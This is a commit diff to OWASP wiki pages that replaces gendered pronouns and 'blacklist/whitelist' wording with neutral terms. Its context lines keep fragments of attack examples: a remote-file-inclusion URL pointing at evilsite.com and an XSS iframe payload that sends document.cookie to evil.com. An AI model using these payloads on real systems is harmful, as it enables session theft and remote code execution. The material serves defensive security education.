Gender pronouns and other neutral terms (OWASP#230)

Closes OWASP#229

- Replace "she" with they
- Replace "he" with they
- Replace "him" with them
- Replace "him/her" with them
- Replace "her" with their
- Replace "his" with their
- Replace "he/she" with they
- Replace "he or she" with they
- Replace "blacklist" and variants with deny list
- Replace "whitelist" and variants with allow list

Didn't touch any content under social/chapters all day.

pages/ASP.NET_Request_Validation.md

@@ -42,7 +42,7 @@ validating each field of user supplied data. This should start with
 - Required fields
 - Correct data type and length
 - Data falls within an acceptable range
-- Whitelist of allowed characters
+- Allow list of permitted characters
 
 Any string input that is returned to the client should be encoded using
 an appropriate method, such as those provided via

pages/Access_Control.md

@@ -173,7 +173,7 @@ on their access.
 From the perspective of end-users of a system, access control should be
 mandatory whenever possible, as opposed to discretionary. Mandatory
 access control means that the system establishes and enforces a policy
-for user data, and the user does not get to make his own decisions of
+for user data, and the user does not get to make their own decisions of
 who else in the system can access data. In discretionary access control,
 the user can make such decisions. Enforcing a conservative mandatory
 access control policy can help prevent operational security errors,

pages/Anti_CRSF_Tokens_ASP.NET.md

@@ -20,7 +20,7 @@ Authentication) is exactly what allows CSRF to take place - but this
 only the first piece for a successful CSRF attack.
 
 The second piece is a web form or request which contains parameters
-**predictable** enough that an attacker could craft his own malicious
+**predictable** enough that an attacker could craft their own malicious
 form/request which, in turn, would be successfully accepted by the
 target service. Then, usually through social engineering or XSS, the
 victim would trigger that malicious form/request submission **while

pages/CRV2_AppThreatModeling.md

@@ -1953,7 +1953,7 @@ Data Validation / Parameter Validation
 2.  All data sent from the client is validated
 3.  No security decision is based upon parameters (e.g. URL parameters)
     that can be manipulated
-4.  Input filtering via white list validation is used
+4.  Input filtering via allow list validation is used
 5.  Output encoding is used
 
 </td>

pages/Component_Analysis.md

@@ -118,7 +118,7 @@ Public repositories that have code-signing and verification requirements have so
 repositories without basic countermeasures do not. For no-trust or low-trust repositories, utilizing private 
 repositories may be advantageous. Private repositories refer to repositories where access is limited, usually software 
 that organizations install and control, or a commercially available service. *Golden repositories* containing vetted or 
-whitelisted components are a common use-case for private repositories. Private repository services focusing on security 
+permitted components are a common use-case for private repositories. Private repository services focusing on security 
 may additionally provide anti-malware analysis and static source code analysis requirements prior to acceptance in the
 repository. When leveraging private repositories, it is important to have traceability to the components' repository of 
 origin.
@@ -222,7 +222,7 @@ risk. Policies typically include:
   - Restrictions on public repository usage
   - Restrictions on acceptable licenses
   - Component update requirements
-  - Blacklist of prohibited components and versions
+  - Deny list of prohibited components and versions
   - Acceptable community contribution guidelines
 
 While the open source policy is usually filled with restrictions, it provides an organizations security, development,
@@ -242,7 +242,7 @@ and legal teams an opportunity to create solutions for healthy open source usage
     untrusted ones.
   - Automate component updates (from trusted repositories only)
   - Provide time-boxed allowances every sprint to maintain component hygiene
-  - Establish a whitelist of acceptable licenses, a blacklist of prohibited licenses, and seek advice from counsel for 
+  - Establish a allowed list of acceptable licenses, a deny list of prohibited licenses, and seek advice from counsel for 
     all other licenses
   - Automate the creation of software bill-of-materials (SBOM) for all deliverables
   - Leverage Package URL for describing components within SBOMs

pages/Fuzzing.md

@@ -32,7 +32,7 @@ software implementation faults, and identify them if possible.
 ## History
 
 Fuzz testing was developed at the University of Wisconsin Madison in
-1989 by Professor Barton Miller and his students. Their (continued) work
+1989 by Professor Barton Miller and students. Their (continued) work
 can be found at <http://www.cs.wisc.edu/~bart/fuzz/> ; it's mainly
 oriented towards command-line and UI fuzzing, and shows that modern
 operating systems are vulnerable to even simple fuzzing.

pages/OWASP_Application_Security_FAQ.md

@@ -295,22 +295,22 @@ Although SSL provides a lot of security, SSL alone is not enough to
 prevent variable manipulation attacks. SSL was supposed to prevent
 against Man in the Middle attacks but it is vulnerable to it. To
 successfully carry out the MITM attack, first the attacker has to divert
-the victim's requests to his machine i.e. redirecting the packets meant
-for the server to himself. He can do this by ARP poisoning / DNS Cache
-poisoning. Once he is able to redirect, he can see all the requests the
+the victim's requests to their machine i.e. redirecting the packets meant
+for the server to himself. They can do this by ARP poisoning / DNS Cache
+poisoning. Once they are able to redirect, they can see all the requests the
 victim is trying to make. Now when the victim tries to establish an SSL
-connection with a legitimate server, he gets connected to the attacker.
+connection with a legitimate server, they get connected to the attacker.
 The attacker, during the SSL Handshaking, provides a fake certificate to
-the victim, which the victim accepts even though the browser warns him.
+the victim, which the victim accepts even though the browser warns them.
 Thus, the victim establishes an SSL connection with the attacker instead
 of the server. The attacker establishes a different SSL connection with
 that legitimate server, which the victim was trying to connect. Now all
 data flow between the victim and the server will be routed through the
 attacker and the attacker can see all data the victim (as well as the
 server) sends. This is because the victim will encrypt all data with the
-attacker's public key, which the attacker can decrypt with his private
+attacker's public key, which the attacker can decrypt with their private
 key. The attacker can then manipulate all data that is passing through
-his machine.
+their machine.
 
 ## Is there some way to prevent these proxy tools from editing the data?
 
@@ -560,7 +560,7 @@ futile as any scanner targeting a web site, will normally not care what
 the web server is. The scanner will run ALL its tests no matter if they
 apply to the system or not. This is a typical shotgun approach. A bad
 guy targeting the site might be hampered by not knowing the exact
-version, but if he's determined he would still try out all related
+version, but if they're determined they would still try out all related
 exploits and try to break in.
 
 # Testing
@@ -770,11 +770,11 @@ An attacker can hijack another user's session by stealing the session
 token. Methods have been suggested to prevent the session from being
 hijacked even if the session token is stolen. For instance, using a
 session token that is a function of the user's IP address. In this
-approach, even if the attacker stole the token, he would need the same
+approach, even if the attacker stole the token, they would need the same
 IP address as the user to successfully hijack a session. However,
 session hijacking can still be possible. Suppose the attacker is on the
 same LAN as the user and uses the same Proxy IP as the user to access
-the web site. The attacker can still steal the session if he is able to
+the web site. The attacker can still steal the session if they are able to
 sniff the session token. It may also be not possible to implement this
 if the IP of the client changes during a session, making the session
 invalid if the token is tied to the initial IP address. This may happen
@@ -798,7 +798,7 @@ page. Only if the token submitted matches what the server is expecting
 is the next page served. An application can use this to ensure that a
 user accesses pages only in the sequence determined by the application.
 The user cannot paste a deep URL in the browser and skip pages just
-because he has a session token, as the page token would not be
+because they have a session token, as the page token would not be
 authorized to access the deeper URL directly. Good Read: [Secure your
 sessions with Page
 Tokens](http://palisade.plynt.com/issues/2005Aug/page-tokens/)
@@ -860,7 +860,7 @@ not tampered.
 
 ## Can I trust the IP address of a user I see in my audit logs? Could a user be spoofing/impersonating their IP address?
 
-A bad guy who wants to hide his actual IP address might use a service
+A bad person who wants to hide their actual IP address might use a service
 like anonymizer, or use open HTTP relays. \[HTTP open relays are
 improperly configured web servers on the web that are used as a HTTP
 proxy to connect to other sites.\] In such cases, the IP address you see

pages/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies.md

@@ -18,11 +18,11 @@ For example, it was discussed by Marc Heuse at
 [PasswordsCon 14](http://passwords14.item.ntnu.no/). 
 
 Marc speculates on various techniques for blocking online attacks and comes
-to notion of "device cookie" as good protection alternative (see his
+to notion of "device cookie" as good protection alternative (see the 
 [talk](https://mediasite.ntnu.no/Mediasite/Play/2133729a627b44a491778e135f602a611d) on Hydra at
 PasswordsCon 14, specifically from 32:50). 
 As well as Alec Muffett at the same conference mentions "datr cookie" from Facebook (look from
-10:15 of his [talk](https://mediasite.ntnu.no/Mediasite/Play/db5258ede8f94e69ad763fbe30f105a71d)).
+10:15 of the [talk](https://mediasite.ntnu.no/Mediasite/Play/db5258ede8f94e69ad763fbe30f105a71d)).
 
 The main idea behind the protocol is to issue a special “device” cookie
 to every client (browser) when it is used to successfully authenticate a

pages/Types_of_Cross-Site_Scripting.md

@@ -21,7 +21,7 @@ other.
 Early on, two primary types of [XSS](attacks/xss/) were identified,
 Stored XSS and Reflected XSS. In 2005, [Amit Klein defined a third type
 of XSS](http://www.webappsec.org/projects/articles/071105.shtml), which
-he coined [DOM Based XSS](attacks/DOM_Based_XSS). These 3 types of
+Amit coined [DOM Based XSS](attacks/DOM_Based_XSS). These 3 types of
 XSS are defined as follows:
 
 ### [Stored XSS](attacks/xss/#stored-xss-attacks) (AKA Persistent or Type I)

pages/Virtual_Patching_Best_Practices.md

@@ -399,9 +399,9 @@ attacks rather than allow only valid traffic. It is important to note
 that the differentiation between negative and positive security models
 is subjective and reflects how tight the security envelope around the
 application is. A good example would be limiting the characters allowed
-in an input field. Since the character set is a closed set, providing a
-white list of permitted characters is actually similar to providing a
-black list of forbidden characters including the characters
+in an input field. Since the character set is a closed set, providing an
+allow list of permitted characters is actually similar to providing a
+deny list of forbidden characters including the characters
 complementing the 1st group. Positive Security Virtual Patches Positive
 security model is a comprehensive security mechanism that provides an
 independent input validation envelope to an application. The model

pages/attacks/Blind_SQL_Injection.md

@@ -151,8 +151,8 @@ to even small deviations from the rule. This includes:
 
 ### Remote Database Fingerprinting
 
-If the attacker is able to determine when his query returns True or
-False, then he may fingerprint the RDBMS. This will make the whole
+If the attacker is able to determine when their query returns True or
+False, then they may fingerprint the RDBMS. This will make the whole
 attack much easier. If the time-based approach is used, this helps
 determine what type of database is in use. Another popular methods to do
 this is to call functions which will return the current date. MySQL,

pages/attacks/Blind_XPath_Injection.md

@@ -21,7 +21,7 @@ can be used to reference almost any part of an XML document without
 access control restrictions. In SQL, a "user" (which is a term undefined
 in the XPath/XML context) may be restricted to certain databases,
 tables, columns, or queries. Using an XPATH Injection attack, an
-attacker is able to modify the XPATH query to perform an action of his
+attacker is able to modify the XPATH query to perform an action of their
 choosing.
 
 Blind XPath Injection attacks can be used to extract data from an
@@ -53,7 +53,7 @@ XPath expression is True or False. Let's assume that the aim of the
 attacker is to log in to an account in a web application. A Successful
 log in would return "True" and failed log in attempt would return
 "False". Only a small portion of the information is targeted via the
-analyzed character or number. When the attacker focuses on a string he
+analyzed character or number. When the attacker focuses on a string they
 may reveal it in its entirety by checking every single character within
 the class/range of characters this string belongs to.
 

pages/attacks/Code_Injection.md

@@ -28,7 +28,7 @@ Code Injection differs from [Command
 Injection](Command_Injection "wikilink") in that an attacker is only
 limited by the functionality of the injected language itself. If an
 attacker is able to inject PHP code into an application and have it
-executed, he is only limited by what PHP is capable of. Command
+executed, they are only limited by what PHP is capable of. Command
 injection consists of leveraging existing code to execute commands,
 usually within the context of a shell.
 
@@ -57,7 +57,7 @@ The URL below passes a page name to the include() function.
 The file "evilcode.php" may contain, for example, the phpinfo() function
 which is useful for gaining information about the configuration of the
 environment in which the web service runs. An attacker can ask the
-application to execute his PHP code using the following request:
+application to execute their PHP code using the following request:
 
 <http://testsite.com/?page=http://evilsite.com/evilcode.php>
 

pages/attacks/Command_Injection.md

@@ -24,7 +24,7 @@ application. Command injection attacks are possible largely due to
 insufficient input validation.
 
 This attack differs from [Code Injection](Code_Injection "wikilink"), in
-that code injection allows the attacker to add his own code that is then
+that code injection allows the attacker to add their own code that is then
 executed by the application. In Command Injection, the attacker extends
 the default functionality of the application, which execute system
 commands, without the necessity of injecting code.

pages/attacks/Comment_Injection_Attack.md

@@ -31,7 +31,7 @@ or scripting languages:
 **Database:**
 
 If the attacker has the ability to manipulate queries which are sent to
-the database, then he's able to inject a terminating character too. The
+the database, then they're able to inject a terminating character too. The
 aftermath is that the interpretation of the query will be stopped at the
 terminating character:
 
@@ -61,7 +61,7 @@ Sequences that may be used to comment queries:
 
 To comment out some parts of the queries, the attacker may use the
 standard sequences, typical for a given language, or terminate the
-queries using his own methods being limited only by his imagination. An
+queries using their own methods being limited only by their imagination. An
 interesting example is a null byte method used to comment out everything
 after the current query in MS Access databases. More information about
 this can be found in [Embedding Null

pages/attacks/Content_Spoofing.md

@@ -93,7 +93,7 @@ A possible attack scenario is demonstrated below. For this scenario,
 lets assumes no output encoding is being implemented:
 
 1. Attacker discovers injection vulnerability and decides to spoof a login form
-2. Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email
+2. Attacker crafts malicious link, including their injected HTML content, and sends it to a user via email
 3. The user visits the page due to the page being located within a trusted domain
 4. The attacker's injected HTML is rendered and presented to the user asking for a username and password
 5. The user enters a username and password, which are both sent to the attackers server

pages/attacks/Cross-User_Defacement.md

@@ -83,7 +83,7 @@ request:
 
 /index.html
 
-the response \#2 will be send to him as an answer to his request.
+the response \#2 will be sent to them as an answer to their request.
 
 This way it was possible to replace the web page, which was served to
 the specified user.

pages/attacks/Cross-site-Scripting-(XSS).md

@@ -350,7 +350,7 @@ boards, private messages, user profiles):
 The above code will pass an escaped content of the cookie (according to
 RFC content must be escaped before sending it via HTTP protocol with GET
 method) to the evil.php script in "cakemonster" variable. The attacker
-then checks the results of his evil.php script (a cookie grabber script
+then checks the results of their evil.php script (a cookie grabber script
 will usually write the cookie to a file) and use it.
 
 ### Error Page Example

pages/attacks/Cross_Frame_Scripting.md

@@ -40,7 +40,7 @@ which leaks keyboard events across HTML framesets (see iDefense Labs
 advisory [Microsoft Internet Explorer Cross Frame Scripting Restriction
 Bypass](http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77)).
 This bug could allow, for example, an attacker to steal the login
-credentials of a browser user as he or she tries to type them into the
+credentials of a browser user as they try to type them into the
 login form of a third-party web page.
 
 ## Examples
@@ -52,7 +52,7 @@ attacker may create a web page at evil.com, which the attacker controls,
 and include on the evil.com page a visible frame displaying the login
 page for example.com. The attacker can hide the frame's borders and
 expand the frame to cover the entire page, so that it looks to the
-browser user like he or she is actually visiting example.com The
+browser user like they are actually visiting example.com The
 attacker registers some javascript in the main evil.com page which
 listens for all key events on the page. Normally, this listener would be
 notified of events only from the main evil.com page -- but because of
@@ -112,7 +112,7 @@ request to evil.com (the iframe's src URL is wrapped for legibility):
         ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>
 
 The iframe is hidden off-screen, so the browser user won't have any idea
-that he or she just "visited" the example.com page. However, this attack
+that they just "visited" the example.com page. However, this attack
 is effectively the same as a conventional XSS attack, since the attacker
 could have simply redirected the user directly to the example.com page,
 using a variety of methods, including a meta element like this (again,
@@ -123,11 +123,11 @@ the meta element's URL is wrapped for legibility):
         ?c='+encodeURIComponent(document.cookie)+'\">')</script>">
 
 The only difference is that when using an iframe, the attacker can hide
-the frame off-screen -- so the browser user won't have any idea that he
-or she just "visited" example.com. When using a redirect to navigate
+the frame off-screen -- so the browser user won't have any idea that they
+just "visited" example.com. When using a redirect to navigate
 directly to example.com, the browser will display the example.com url in
 the browser's address bar, and the example.com page in the browser's
-window, so the browser user will be aware that he or she is visiting
+window, so the browser user will be aware that they are visiting
 example.com.
 
 ### Another XSS Attack Using Frames

pages/attacks/Cross_Site_Tracing.md

@@ -35,7 +35,7 @@ introduced in Internet Explorer 6 sp1 to protect cookies from being
 accessed by JavaScript. As a matter of fact, one of the most recurring
 attack patterns in Cross Site Scripting is to access the document.cookie
 object and send it to a web server controlled by the attacker so that
-he/she can hijack the victim's session. Tagging a cookie as
+they can hijack the victim's session. Tagging a cookie as
 [HttpOnly](HttpOnly "wikilink") forbids JavaScript to access it,
 protecting it from being sent to a third party. However, the TRACE
 method can be used to bypass this protection and access the cookie even